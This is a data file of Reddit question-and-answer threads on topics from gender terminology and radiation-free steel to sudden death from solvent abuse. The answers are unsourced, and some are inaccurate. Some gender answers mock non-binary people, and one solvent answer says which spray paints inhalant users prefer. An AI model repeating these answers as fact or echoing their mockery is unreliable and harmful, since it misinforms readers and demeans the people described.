"answers_urls": [[], ["http://en.wikipedia.org/wiki/The_Madness_of_King_George"], []]}
{"q_id": "38o9n7", "title": "why are there so many new gender terms recently?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/38o9n7/eli5_why_are_there_so_many_new_gender_terms/", "answers": {"a_id": ["crwhc15", "crwib2f", "crwk1fo", "crwky5d", "crwltbe", "crwo854", "crwpzex"], "score": [31, 46, 3, 17, 10, 2, 2], "text": ["Because gender is starting to become more openly talked about and as we discuss things more, we are going to need new terms for things that previously went undiscussed. Just because it is a new term does not mean what it refers to is a new idea or sensation. Of course, on the flip side, some of the new terms that are being used are not really necessary, but those won't stand the test of time. The same thing happens in any field that is getting more discussion. \n\nThough keep in mind that just because you are now hearing about these terms, doesn't mean they are necessarily new. Cisgender has been in use since 1998. That is nearly twenty years. It is just that previously, the ideas that it was discussing, did not get mainstream attention.", "There are a few things going on here:\n\n* public understanding and acceptance of non-binary gender states is increasing\n* previously, these people were isolated and fragmented, resulting into redundant and inconsistent terminology\n* some people just have to be snowflakes...if you have 20 gender categories, they are going to make up a 21st, just so they can be the special one", "In general, they are only taken seriously on the internet. There will always be male and female. These are biological realities that cannot be denied. Being transgender is currently being more accepted. However, this doesn't answer the real questions I think we are trying to get the answers for: what does it mean to be a man? What does it mean to be a woman? Anyone will tell you that assuming someone born female likes pink, dolls, and is emotional is sexist. But then, someone born male likes pink, dolls, and is more sensitive can say he \"feels like a woman\"? It simply doesn't make sense. It reinforces the gender stereotypes that society has tried to shy away from.  TL;DR - people are fighting against gender roles, but are not reaching the heart of the problem. ", "Something I wrote about in my dissertation was the limitations and complications of language in affecting perception. Perception of the self and those around you. A commonly cited example is the difference between bachelor and spinster: they essentially mean the same thing. A person without a partner or children. However the former, applied to a man, has positive connotations of freedom. The latter, applied to a woman, has negative connotations of loneliness. This language applied reflects cultural and social values, while affecting those same values in its repetition - it becomes ingrained. \n\nThere are plenty of examples to demonstrate the effect language has upon perception, but this is just one. \n\nIn terms of your question, the invention of new terms to describe anything acknowledges its existence: new terms for gender acknowledges these identities. Without a language to describe it, can it really be explained, can it really 'be'? \n\nBefore the term 'homosexuality' came to be included in common discourse, other words were used such as 'deviancy' - which has negative connotations and thus affects common perception of homosexuals. Wide spread use of new terms established by those who identify as such claim back an identity and respect.\n\nTerms which may be new to your tongue, have often been around much longer as another comment has explained, but their use is becoming more common due to media and the internet. The need for such terms encourages tolerance and understanding - working towards an equal society. \n\nDo I personally understand some of these terms? No. I'm straight, I've grown up in a hetero-normative society - I've never experienced discrimination based on my sexual orientation, so I can't imagine what that must feel like. But I think it's my responsibility to learn, understand and ultimately work to create a language which accommodates and tolerates without further marginalizing the already marginalized. ", "\"Cisgender\" is just the opposite of \"transgender\" (i.e. it refers to 99.9% of the population). The prefix \"cis-\" comes from Latin, meaning \"on the same side of\", versus \"trans-\" meaning \"on the opposite side of\". The word \"cisgender\" is a handy term coined so that we don't have to say \"not transgender\" or something.\n\nAs for the rest \u2013 demi, nano, etc. \u2013 it can be summed up in one word: wankers.", "If you've ever been to an LGBT area, you'll quickly understand its that simple.\n\n- You see someone androgynous. You can't clearly make out whether it is a boy or girl.\n- You see someone clearly male and wearing a dress. Is he transgender? Or is it someone who doesn't conform to gender roles (Non-binary)? You have no way of knowing.\n- You see a girl who looks like a butch lesbian. She could just be a tomboy, she may be a transman in early stages of HRT.\n\nOkay, so you call it as you see it but you end up being wrong. No big deal, right? Well what if someone did the same to you? You think you are male, but everybody calls you by female pronouns and treats you like an ugly girl instead, and trying to fix that invites bigotry.", "Or, to put it another way, gender is actually a scale from female to male, heavily weighted at both ends.  Gender roles slide more freely along and even off the scale. And people confuse those two issues."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "2caq9m", "title": "Does tagging animals have any social effect on the animal's group that is being researched?", "selftext": "In Meerkat Manor, the researchers tag the dominant female and males. Does the presence of these tags themselves have any effect on the individuals and how others in the group treat them?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2caq9m/does_tagging_animals_have_any_social_effect_on/", "answers": {"a_id": ["cjdr1xj", "cjdrj3u", "cjdteuu", "cjdubnt", "cjdyolk", "cjdyre8", "cje1ojw"], "score": [39, 461, 26, 13, 2, 24, 5], "text": ["Generally speaking, we never know until we study social interactions of tagged vs untagged animals and groups.\n\nThat being said, biologists who are involved with tagging programs have at their disposal a myriad of tag types to use that are designed specifically to cause no behavioral changes in their study subjects.\n\nWe couldn't very well study behavior in specific individuals if the behavior we were getting was abnormal could we?\n\nSo in conclusion, no, the tags don't affect the animals because part of the process of developing new tags and tagging systems is using prototype tags to determine in there are any differences in behavior between tagged and untagged individuals.  If a tag causes any significant (measurable) difference in the study group it is modified or rejected.", "The identification bands they put around a bird's leg can actually make is more or less desirable to mates because of the color.  At least that was the case with Zebra finches, who preferred males wearing red leg bands.\nsource: _URL_0_", "What about invasive tabs or tracking devices? Some studies drill into a turtles shell to attach a device. Would that have any effect on behaviour?\nie: [Leatherback Turtle Movements, Dive Behavior, and Habitat Characteristics in Ecoregions of the Northwest Atlantic Ocean](_URL_0_)\nedit - spelling.", "Follow up question. Lots of animals seemed to be tagged in very very obvious ways whereas a pets can be tagged via an implantable device. Are visible tags to help differentiate via non-invasive e.g. photographic/visual methods? ", "Jerzy Kosinki's novel, The Painted Bird, has a title based on the concept of fitting in versus standing out. In it, the title is explained as an old peasant cruelty in which a bird would be dyed a bright color and released to return to its flock, at which point the rest of the flock would attack it because it was different.", "I remember watching a documentary on \"Giant Squid\" and they attached a camera and a tag on one of the squid they managed to fish out of the depth. \n\nWhen it returned and they gained the footage from the camera, watching it back they saw other squid attack the camera'd squid because the infrared LEDs were looking like a threat signal or something. ", "I can't find a source for it, but I remember watching a documentary where the scientists were studying giraffes and to be able to distinguish one particular giraffe, they picked one (I think at random, but not sure) and did something like spray paint a spot on its neck so they could identify it.  Obviously nothing poisonous, and it didn't hurt the animal - just helped the humans studying the herd to identify the one individual.\n\nHowever, the local pride of lions saw the one animal with a noticeable physical difference and all focused their attack on that one animal - like they would do to a wounded animal - except in this case, the giraffe wasn't wounded, just had a spray painted spot on his otherwise completely healthy body."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://planetearth.nerc.ac.uk/news/story.aspx?id=657"], ["http://www.plosone.org/article/info%3Adoi%2F10.1371%2Fjournal.pone.0091726"], [], [], [], []]}
{"q_id": "2oly7k", "title": "I was always told that Jerusalem was destroyed in 607 bc, but i lately heard that the actually date stated by historians was 587 bc. why do historians point to this date over 607?", "selftext": "thanks, this is really important to me, sources would be appreciated :)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2oly7k/i_was_always_told_that_jerusalem_was_destroyed_in/", "answers": {"a_id": ["cmol759"], "score": [4], "text": ["We have a set of Babylonian records (the Babylonian Chronicles) which give dates of major events in their history for this period, including astronomical occurrences. From this, we find that the first fall of Jerusalem (Jehoiachin deposed, Zedekiah installed as king) was on 16 March, 597BC. We don't have a direct Babylonian record for the second fall, but going with Jeremiah 52:6 tells us that Jerusalem fell in the summer of the 11th year of Zedekiah's reign, i.e., 587BC. This is consistent with the Babylonian chronology. Note that there was some debate as to how regnal years should be counted - different nations at the time used different system - so some (initially Thiele in the 1950s) have argued that the 11th year meant 586 instead, and you'll see this date in various sources. However, I think this has now been settled to everyone's satisfaction - or at least those who care about such things! I wasn't aware that anyone had put forward any alternative date, so would be interested in knowing where your 607 came from.     \n\nFinegan, Handbook of Biblical Chronology, discusses this issue at great length, particularly the issue of regnal years, and cites the relevant archaeological papers (mostly dating back to the 1950s).   "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4atwl9", "title": "[US History] Has anyone ever been killed at a presidential campaign rally?", "selftext": "With the rise of Trump and the associated violence that's been occurring at rallys; It got me thinking about this. I couldn't find a good answer in my initial research.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4atwl9/us_history_has_anyone_ever_been_killed_at_a/", "answers": {"a_id": ["d14a6a3"], "score": [5], "text": ["Technically, yes. Robert Kennedy was assassinated in the kitchen of the Ambassador Hotel by Sirhan Sirhan, after giving a speech to campaign supporters inside the Ambassador Hotel's ballroom. \n\nThere have also been attempted assassinations as well. George Wallace was shot 5 times by Arthur Bremer while campaigning at a mall in Maryland. He didn't die, but he was paralyzed from the shooting. \nAlso, Theodore Roosevelt was shot before giving a speech at a campaign stop in Milwaukee, Wisconsin by John Schrank. He actually declined medical attention and went on to give his 90 minute speech before seeking medical attention."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "bzlygv", "title": "why natural lights feel so much better than any of the artificial lights?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bzlygv/eli5_why_natural_lights_feel_so_much_better_than/", "answers": {"a_id": ["eqtecn5"], "score": [3], "text": ["Our eyes have a retina at the back, which consists of rods and cones. Rods and cones are little receptors in the retina that take the light and turn it into electrical impulses which the brain interprets to form images. These rods and cones have adapted over time to best suit the natural light from the sun so that we would have a better chance of survival. However, the artificial light sources are different from that of the sun and our eyes strain to either filter out the excess light or to try and see with less light thus it makes it feel more difficult to see in artificial light. In a sense it is like trying to fit a large squeezy ball through a small hole. It can be done, just with more effort"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "evkg7r", "title": "why do so many stores in nyc have nypd merchandise?", "selftext": "I was on a New York City trip once in highschool and a few girls bought NYPD sweaters? I still don\u2019t understand at all....", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/evkg7r/eli5_why_do_so_many_stores_in_nyc_have_nypd/", "answers": {"a_id": ["ffwh0n5", "ffwhun8"], "score": [7, 5], "text": ["The NYPD is one of the largest and best known police forces in the world. Since they are so well known they make a great souvenir for NYC visitors. Exactly the same as someone buying an NYU or Columbia hoodie despite not going to the university", "NYPD and NYFD were prominent when 9/11 happened and many people purchased the hats to show support."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3x3wqv", "title": "how is it legal for congress to sneak cisa into the budget bill from last night?", "selftext": "Last night Congress passed a bill to avoid a government shutdown, but they snuck in the Cybersecurity Information Sharing Act (CISA).\nHow is this legal? Isn't this cheating the system set in place to pass certain laws/bills?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3x3wqv/eli5_how_is_it_legal_for_congress_to_sneak_cisa/", "answers": {"a_id": ["cy19geo", "cy1afqj"], "score": [6, 16], "text": ["There's a famous saying often attributed to Otto von Bizmarck:\n\n >  If you like laws and sausages, you should never watch either one being made.\n\nThe point being that laws are often passed via sketchy means, like this.  Adding an unpopular bill to a must pass bill, or sticking an unpopular poison pill to a bill a minority doesn't want passed doesn't violate any rules or laws.\n\nIt's not illegal because they are delegated powers to pass laws as they see fit.  The constitutional restrictions on congress's passing laws has no statement on swapping names or adding laws to other laws (so they have the authority to do so).  ", "Every congressman had the opportunity to read the bill that was being voted on, and vote against it if they didn't like it.\n\nIf you don't like CISA, make sure to let your congressman know you won't be voting for them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "awqkne", "title": "why does medical anything cost so much if it is about saving lives, and why is there such corruption in otherwise noble professions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/awqkne/eli5_why_does_medical_anything_cost_so_much_if_it/", "answers": {"a_id": ["ehoh845", "ehoj4l2", "ehoj78q", "ehojx18", "ehojx3f", "ehojyyd"], "score": [4, 5, 2, 3, 8, 3], "text": ["Because medical companies know consumers have insurance so they figure that they can boost prices to increase income and insurance will cover the costs but in reality consumers have to pay for it anyways with higher insurance premiums. This cycle repeats and inflates the cost of medical care. ", "Greed does play a role, but it\u2019s from the bottom up. It\u2019s not entirely the device/ drug manufacturer getting a ton of money. For example, a computer monitor that is FDA approved is magically 500% the cost of the identical monitor sold to consumers. Manufactures of devices still need to pay employees and turn a profit so that component may be getting sold to a hospital for 700% of the cost you would pay at Best Buy. Somewhat supply and demand and somewhat the trouble they went through to get it approved drive up the list price. Because lives are on the line devices / drugs manufacturers use \u201cthe best\u201d components and processes. These are more expensive. This does cause bloat to the total cost of healthcare. But as I started with... yes some of it is greed. \n  \nEdited to add a missing word. ", "Its a whole system that requires support. Health care is also a business, its not just a noble profession. How much you want to pay to live? If everyone has the right to life, then so do all the professionals, because they shouldn't work for free. All the professionals need to eat, live, and have a life. \n\nPS health care in Canada is not cheap, it is slightly less expensive than us. ", "its convenient to blame greed, and there is certainly a fair amount of profit through the healthcare industry, the patent system facilitates a sustained competitive advantage on new technology and drugs.\n\nbut to avoid getting too jaded, the medical profession is staffed with a lot of very bright people, the smartest of our society often become doctors, engineers, and biochemists that dominate the healthcare industry.  Those salaries are reflected in the healthcare costs.\n\nalso, we are saving lives, and as such, we tend to reach for the top shelf of treatment, most of our health costs will come in the last 6 months of our lives, in any other industry, we'd cut that off and focus on the bang for the buck, but when your talking life and death, its hard to withhold treatment to save money.", "My (US) company is manufacturing some components for a medical device.  \n\nBecause it's about saving lives, we don't want any mistakes at all, so we have a (small) production force of 10 people, and a (large) QA and oversight department of 10 people.  Everything is checked and re-checked, which takes time.  \n\nAlso because it's about saving lives, we use the highest grade ingredients and tools (as required by the FDA, Health Canada, ISO, etc.), and that means, for example, importing tons of \"for-injection\" grade water from Europe, and that costs thousands, and the shipping for \"tons\" costs thousands.\n\nEverything is sent to a lab to test for sterility, contamination, etc., and that costs us thousands per day / lot.\n\nSo I'm looking at it here and not seeing greed or corruption, just high costs for the high quality that a patient's life demands.  You want \"sterile\", you get it, with all the guarantees that go along with that.  You want \"for injection\" because the device goes inside someone, you get it, with all the guarantees that go along.  The costs of the supplies and personnel required to manufacture at this level of quality is high.\n\nYour experiences with nurses and hospitals, those are really shitty hospitals and really bad people who should be thrown in jail for that kind of performance.\n\nMy personal experience with hospitals hasn't been great either, but the nurses and staff in the critical-care areas were highly paid, well trained, and very good at what they did.  When moved to the non-critical areas, though, they were less so, and I did see some cutting corners, lack of awareness of how they could contaminate their own gloves, and things like that, but they did their jobs as best they could.\n\nSo my conclusion is that it depends on costs, and what prices hospitals can charge based on the health care system.  Over here, the poor get poor (or no) treatment; over there, everyone seems to get poor treatment.\n\nI'm pretty sure this is not going to be a very popular reply, but I wanted to give you my personal observations.", "There is currently a doctor shortage everywhere in the world.   \nSchools reject the vast majority of applicants from matriculating.\n\nGoing to school in the Caribbean (usually the last opportunity one has to matriculate) will still set a student back $250k to $500k in debt for tuition and living. \n\nThese people need to pay off debt and make up for not earning money from the age of 18-30 while they are earning undergraduate degrees, (sometimes masters degrees), then medical degrees, followed by the abysmal pay for residents.  \n\n\nMedicine is a noble profession because one gives up their entire life to pursue this route, go massively into debt, enter a profession with a high suicide rate, and will die younger than the average person in their respective societies due to a lifetime of heavy stress.  \n\n\nResident surgeons can work up to two days straight before leaving the hospital.  \n\n\nThat is why we pay so much\n\n  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4opq1p", "title": "why does steel need to be recovered from ships sunk before the first atomic test to be radiation-free? isn't all iron ore underground, and therefore shielded from atmospheric radiation?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4opq1p/eli5_why_does_steel_need_to_be_recovered_from/", "answers": {"a_id": ["d4ejk9h", "d4eldfw", "d4eqg9f", "d4er9jy", "d4erdgp", "d4es5gu", "d4essn9", "d4eu0e0", "d4eu4a1", "d4eudfd", "d4ew41y", "d4ey841", "d4eyjhi", "d4f036d", "d4f304z", "d4f501d", "d4f6j8f", "d4f7f0a", "d4f8h67", "d4fbf6n", "d4fdda6", "d4fipq7"], "score": [1971, 258, 9, 2, 5, 45, 15, 2, 3, 167, 2, 5, 2, 3, 5, 3, 3, 4, 3, 2, 2, 2], "text": ["There's a couple reasons as to why this is required, although keep in mind that most purposes with steel do not need to be completely radiation free. This type of steel is call Low-background Steel.\n\nOne reason as to why steel before the first atomic bombs is desired is due to the process of making steel. This involves blowing air into a furnace.  That air can be contaminated with radioactive dust from the nuclear detonations.  The dust can then become embedded in the steel, making it slightly radioactive. This is can be very bad for very sensitive equipment, for example, like Geiger counters.\n\nHowever, it is possible to produce new steel without the risk of radioactive dust by using a pure environment, it just costs more than the current production standards most companies use.\n\nDon't worry though, because background radiation levels peaked in the early 60s and have been declining ever since. So it is disappearing, but still there.\n\nEDIT: Gieger counters don't necessarily need Low-background steel, but it is preferred. Here is the [wiki](_URL_0_) about Low-background steel and what it could be used for.", "If I recall correctly, the iron ore is underground, but the air you run through it to turn iron ore into usable iron isn't. ", "It's very difficult to get a good intuition for just how sensitive radiation measuring equipment can get. But it's frankly ridiculously so. Radiation measurements are a very versatile scientific tool, and the physics means it's possible to count single decay events. This leads to the slight problem that at that level *everything* is radioactive because we live on the detritus of titanic nuclear explosions (Supernovae)   Even the sunken steel isn't really ideal for instrumentation casing, it is just better than any practical alternative. ", "Simple. They cold roll the wreck steel and they have to make the new steel. The process of making the steel allows for these compounds to be absorbed to put it as simply as I can. Cold rolling? not so much at worst they have to re temper the steel because all they're doing is flattening it.", "I've never heard of such a thing. I assume only very specific industries use radiation-free steel alloys. 99% of the industry doesn't care about the minuscule radiation levels associated with the metals.", "Can somebody break down the question for me? I struggle to understand it. :S\n\n\nI know that the US tested atomic bombs on islands in the pacific area and if I got this right they sometimes placed old ships nearby to watch the impact on them (I guess?).  \nDoes OP mean those ships? And did they recover sunken ships to scrap them? Wouldn't that be really expensive?", "There is also a market for pre-nuclear lead for the same reasons.  Some of it has been quite pricey.", "It's not the first atomic test, it's the [\"world's for nuclear disaster\"](_URL_0_), Operation Crossroads.  They irradiated the crap out of an entire fleet because the Navy and Air Force were trying to decide whose dick was bigger.  \n\nThe first deliverable thermonuclear device [test](_URL_1_) was also a horrendous catastrophe and can be used to date objects since it covered the world with fallout, especially the Pacific. ", "The majority of the vein is underground but can come all the way up to the surface. The largest iron ore mine in North America was started because iron ore was discovered on the surface. \n\nSource: The largest iron mine in North America is in my hometown ", "There is a larger problem than the atomic bombs.\n\nOne of the main ingredients in making steel commercially is recycled steel. At my workplace, as much as 25% of each Heat of steel can be recycled scrap. \n\nA large amount of radioactive steel scrap was added to the European and Asian markets post Chernobyl. This scrap was used to make steel, which in many cases has itself now been recycled. Much of the world's supply of steel is thus now mildly radioactive.\n\nIn addition, some iron ore is naturally radioactive, as it shares the same ground as uranium ore.\n\nThis is kept under control by testing scrap, and testing the finished product for radiation.\n\nSource: I produce radiation certificates for steel exported to Asia and Europe. ", "Can anyone explain (or point me to the explanation) of how much those ~~handful~~ **thousands** of bombs we've detonated increased the global radiation levels, on average? Like how much more radioactive material is laying on the Earth's surface because of the nukes dropped during the WWII era and those tested after the war (I guess Cold War era)?", "Am I the only one that's lost here? From the answers below it seems to be commonly understood that there's enough background radiation in the atmosphere that it will contaminate iron ore if said ore is melted down? I've never heard this even remotely suggested before...", "As an aside, many sources of coal are naturally partially radioactive as well. Different grades of coal are used in power generation verses steel production and so forth.", "Smelting iron integrates ambient radioactive particles from nuclear detonations into the final product (steel). Shielding the whole ore to steel process from the contamination would be massively expensive.  Imagine giant warehouse sized buildings constructed to eliminate all ambient radioactivity.  \nIt's more efficient (still shocking expensive) to salvage steel, then in a   shielded building/process re-melt it and create the pieces needed under one roof.   \nI guess the obvious sub-text here is that we live in a world that is substantially contaminated from radioactive fallout. Everyone, everywhere.", "Because not all iron is freshly mined before its made into steel. Steel and many metals were recycled in those days too, but increased radiation in the air became present in new steel itself when it was produced. The steel in pre-war ships was made before atomix tests, and its already steel which means they can just simply melt it down and form it into whatever it needs to be. Making new steel is different, it would add modern levels of radioactive material into any new steel product. Since the old steel is already made, it wouldnt have it", "Can someone re-write this question so that I can understand what the OP is asking? Explain the question like I'm five.\n\nNot trying to criticize the OP, I just have no context and I don't understand what's being asked.\n\nEdit: Never mind, I found someone else in the thread also asking for the question to be clarified, which it was.", "I need an ELI5 for what the question is asking. Wot?", "eli5... The question?", "Iron itself may be not radioactive, but some of the 'ingredients' to produce steel are always contaminated with radioactivity. And that radioactivity started to be in our environment after the first tests and A-bomb was deployed.\n\nPure iron has almost no engineering applications, all the \"iron\" people see and use is actually a form of steel.\n\nWater shields radioactivity, so steel ships sunk before the first A bomb are not radioactive. ", "Until I read this question I had no idea that such a practice ever occurred for this reason.", "A buddy of mine worked for a pipe testing company. In the Gulf of Mexico.  Part of what they did was use X-Rays to measure the thickness, and then they had a machine that measured radiation. Apparently after a while pipelines become irradiated from the constant 1 way flow of fluids. ", "ALL steel, except for low production volumes of really expensive specialty steel, is made with a blend of scrap metal or scrap and new ore. \n\nAll steel melting facilities must check scrap for radiation levels.  If the incoming materials have to high of a level, it is rejected and even collected by the government (US at least).  \n\nSource: I worked IT for a major stainless and carbon steel manufacturer and got to deal with the IT side of all that.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Low-background_steel"], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Operation_Crossroads", "http://www.atomicarchive.com/History/hbomb/page_17.shtml"], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "23ycyb", "title": "Recent article claims consuming baker's yeast before alcohol can diminish the effects because of ADH. Any truth to this?", "selftext": "In a [recent article](_URL_0_) that's been making the rounds, Jim Koch of Sam Adams Brewery claims to avoid the effects of alcohol by consuming baker's yeast before drinking. Will it really work?\n\nBit about [ADH](_URL_1_) and its ability to process alcohol in your stomach before it reaches the bloodstream:\n >  active dry yeast has an enzyme in it called alcohol dehydrogenases (ADH). Roughly put, ADH is able to break alcohol molecules down into their constituent parts of carbon, hydrogen, and oxygen. Which is the same thing that happens when your body metabolizes alcohol in its liver. Owades realized if you also have that enzyme in your stomach when the alcohol first hits it, the ADH will begin breaking it down before it gets into your bloodstream and, thus, your brain.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/23ycyb/recent_article_claims_consuming_bakers_yeast/", "answers": {"a_id": ["ch1y3hh", "ch1ya9q", "ch23if4"], "score": [9, 20, 6], "text": ["This question was [asked on skeptics.stackoverflow](_URL_0_).  The first answer has some references and concludes that the effect is \"highly implausible\", a major issue being the pH needed for yeast ADH to function effectively.\n", "I highly doubt that alcohol dehydrogenase is active or even stable at the pH of your stomach -not many enzymes are. Its optimum pH is actually pretty alkaline, about 8.8, and [this](_URL_0_) says that that below 6 it becomes 'increasingly unstable.' Stomach acid has a pH around 2 to 3. Also it requires a cofactor for activity, a molecule called NAD+, which I doubt would be available or stable in the stomach.", "They reason yeast can potentially reduce the severity of a hangover and some of the other effects of alcohol is because drinking alcohol can very quickly deplete vitamin B in your body and yeast, baker's or brewer's, has one of the highest vitamin be contents of any food.  It may make you fell less crappy the next morning, but it won't make you less drunk."]}, "title_urls": [], "selftext_urls": ["https://shine.yahoo.com/healthy-living/drink-night-without-getting-drunk-212500989.html", "http://en.wikipedia.org/wiki/Alcohol_dehydrogenase"], "answers_urls": [["http://skeptics.stackexchange.com/questions/20381/does-eating-yeast-stop-you-from-getting-drunk"], ["http://www4.mpbio.com/ecom/docs/proddata.nsf/\\(webtds2\\)/151430"], []]}
{"q_id": "9guu1e", "title": "how does \u201csolvent abuse\u201d involving aerosol cans, kill the user instantly, as is warned on the cans?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9guu1e/eli5_how_does_solvent_abuse_involving_aerosol/", "answers": {"a_id": ["e66yith", "e66yni1", "e672unn", "e677nbz", "e678i03", "e679dcp", "e67bnzd", "e67jh8w", "e67rod3", "e67wt2h", "e68qjcc", "e68xuyj", "e68zv45"], "score": [3760, 272, 127, 370, 2, 6, 10, 2, 17, 2, 5, 7, 2], "text": ["It depends. You can die in multiple ways from solvent abuse.\n\nThere\u2019s lack of oxygen, frostbite, and cardiac arrest or failure. Most commonly is aspiration of vomit while they are unconscious and lack of oxygen.\n\nIt really depends on what one is inhaling, what methods they are using (using a bag is much more dangerous than just sniffing because you are limiting the flow of oxygen) and the condition they are in.\n\nThere are safer ways to get high than sniffing gasoline.", "The solvent replaces the oxygen in your breath/lungs, leading to passing out and eventually death. It can happen very quickly as humans cannot live without oxygen for more than a few minutes. ", "It has to do with the aromatic hydrocarbons in certain paints and sprays.  The theory is that they sensitize the heart to catecholamines, and the mechanism of death is cardiac arrest.  It can happen very quickly.\n\nFun fact: metallic spray paint is favored among \u201chuffers,\u201d with the gold color being the most highly prized.  They\u2019ll use silver if they can\u2019t get gold, but they really prefer the latter.  It has a higher xylene and toluene content than regular colors.", "The fastest way it can kill you is (for complicated reasons) it can cause your heart's electrical circuit to spazz out.   If that happens, your heart can't beat and you drop dead in a few seconds.   That doesn't happen to everyone, obviously, but there's really no way to know ahead of time if you're going to do this.   And doing it more often makes it more likely. \n\nThe second fastest way it can kill you is if it keeps you from getting good air.   You might just stop breathing,  or you might get so messed up you can't get to fresh air, or you might throw up and choke on your vomit. \n\nWhat would stuck about this is that a lot of people get found before they are fully dead, and end up brain damaged, crippled, and hooked to machines for the rest of their lives.\n\nBut that's just a preview,  because long term use of these chemicals turns your brain into Swiss cheese anyway.  Users become less intelligent,  have problems remembering things, controlling their emotions, and with such basic coordination as walking.   Eventually that will kill you. ", "It gets you high by cutting off oxygen to the brain, so you literally suffocate if you take it too far. Other than that though, it's mostly aspiration of vomit, frostbitten mouth and lungs from the gas cooling to freezing temperatures as it expands out of the can (PV=nRT). \n\nTruth be told, I'm incredibly curious as to what the feeling of being on them is like, but they're so dangerous and risky that id never try them. ", "A lot of people huff the aerosols straight from the nozzle dispenser. This projects unvolatilized solvent deep into your system before it starts to warm and expandThis sudden burst of pressure can be dangerous for your lungs and can even get gas into your blood stream.", "I came in pretty late, but here goes.  If you huff refrigerant you asphixiate.  If you huff coolant you drown.  neither gets you any higher than holding your breath.  both kill you", "One way I haven't seen explained well comes from other gases inside the aerosol (besides the chemical being abused). Heavy gases can fill the lungs and prevent actual oxygen from entering the lungs. \n\nThe effect is a bit similar to the layering seen with oil and water, with the heavy gases creating the bottom layer and oxygen being displaced to the top (the top sometimes being OUTSIDE the lungs). The problem is that they can be SO heavy that breathing doesn't displace the other gas, so the lungs don't get oxygen, and you suffocate. This can also happen while \"high\" from the other gases, so users don't even realize they are suffocating until it is too late. \n\nSource: Paramedic training when there was a minor epidemic of this substance abuse about a decade ago. ", "In some cases, the contents of the spray can coat the inside of your lungs, preventing oxygen transfer. I was in an EMT class once, and the instructor told us a story about a call he went on, where the kids tried huffing carpet cleaner. They found 6 kids dead on the lawn. Every one of them that tried it died shortly after huffing it. ", "I am by no means an expert but as I understand many solvents can be denser than air. Being denser the solvents are harder to displace once inhaled and so someone abusing  solvents can quickly find themselves in a position where breathing normally will not get the oxygen into their body. Unable to replenish oxygen levels the person will panic and unless they take heavy/deep breaths will fall unconcious hence why death from solvent abuse can be sudden. ", "To put it simply, abusing solvents be it huffing, bagging, etc. most often times won\u2019t die instantly just by the act alone. \n\nWhat happens is as you abuse this stuff it will lead to much higher sensitivity of the cardiac muscle (myocytes). Then any surge in catecholamines will lead to increased heart rates and ultimately cause one to go into a fatal ventricular tachycardia or fibrillation which is often not sustainable for life and ultimately leads to death. \n\nThe classic scenario is you have a 16 year old at home huffing, when his/her parents knock on the door and walk in which leads to the kid panicking and then causing a surge in epinephrine. This causes increased heart rates and increased contractility of the heart. This will precipitate a ventricular fibrillation, a type of cardiac arrest and the kid will often syncopize or pass out and ultimately die.\n\nHope that explains it.\n\nSource:\nI\u2019m an EM physician and toxicology fellow at NYU. \nGoldfrank Medical Toxicology.", "Physician here. So the inhalants actually make your heart muscle more sensitive to adrenaline, the natural chemical in your body responsible for the fight or flight response that can raise your blood pressure and heart rate. Too much adrenaline can cause abnormal heart rhythms, predisposing to sudden cardiac death.\n\nAs an emergency doc, the classic history for someone with a sudden death from inhalants is that when they are caught by police, they try to run and then drop dead like a sack of potatoes. The fear of getting caught releases a surge of adrenaline, makes their heart extremely irritable, leads to an abnormal heart rhythm, and they go into cardiac arrest", "Huffing in a bag also causes you to inhale the aerosolized substance and can coat your lungs making oxygen exchange impossible. Then you terrifyingly suffocate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "f3jz7z", "title": "Why does blanching stinging nettles remove the sting?", "selftext": "I can understand if it denatures the poison perhaps, but that would still leave the physical \"needles\" right?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/f3jz7z/why_does_blanching_stinging_nettles_remove_the/", "answers": {"a_id": ["fhk737t"], "score": [9], "text": ["The needles are silica structures called spicules, and yeah, they should survive the blanching. However, the underlying structures holding them upright and poised should also denature. Also, they are brittle and the mechanical agitation during blanching is likely to break them and rob them of their edge. Think of it this way - instead of running into a rigid spear wall, braced and held firm, when encountering a fresh nettle, after blanching you step over a random pile of shattered and blunted spears left behind after the phalanx has been routed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
